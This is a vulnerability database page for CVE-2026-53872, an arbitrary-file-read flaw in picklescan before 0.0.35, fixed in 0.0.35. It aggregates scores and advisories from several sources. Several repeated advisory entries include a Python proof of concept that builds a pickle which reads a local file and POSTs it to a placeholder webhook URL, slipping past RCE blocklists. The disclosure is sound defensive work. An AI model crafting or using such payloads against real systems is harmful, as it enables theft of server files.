CVE-2026-53872
picklescan - Arbitrary File Read via Unsafe Pickle Deserialization
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
picklescan - Arbitrary File Read via Unsafe Pickle Deserialization
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
CVE-2026-53872- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-37738
8.7
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
EUVD-2026-37738- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5v23-73v4-w2fp
8.7
Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
GHSA-5v23-73v4-w2fp- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9726-w42j-3qjr
7.7
picklescan has Arbitrary file read using `io.FileIO`
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
- Record
GHSA-9726-w42j-3qjr- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
NVD
8.7
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
CVE-2026-53872- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.7
picklescan - Arbitrary File Read via Unsafe Pickle Deserialization
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
CVE-2026-53872- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-5v23-73v4-w2fp
8.7
Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-9726-w42j-3qjr. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
- Record
GHSA-5v23-73v4-w2fp- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-9726-w42j-3qjr
7.7
picklescan has Arbitrary file read using `io.FileIO`
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
- Record
GHSA-9726-w42j-3qjr- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-1787
7.7
picklescan has Arbitrary file read using `io.FileIO`
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
- Record
PYSEC-2026-1787- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
picklescanPyPI |
before 0.0.35 | 0.0.35 |
picklescanPyPI |
before 0.0.35, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 29 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.40.0.50.0.60.0.70.0.80.0.9 |
0.0.35 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-53872 is a high vulnerability (CVSS 8.7) in Mmaitre314 Picklescan, published January 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in picklescan 0.0.35.
References
github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization
nvd.nist.gov/vuln/detail/CVE-2026-53872
github.com/advisories/GHSA-5v23-73v4-w2fp
github.com/mmaitre314/picklescan/pull/55
github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1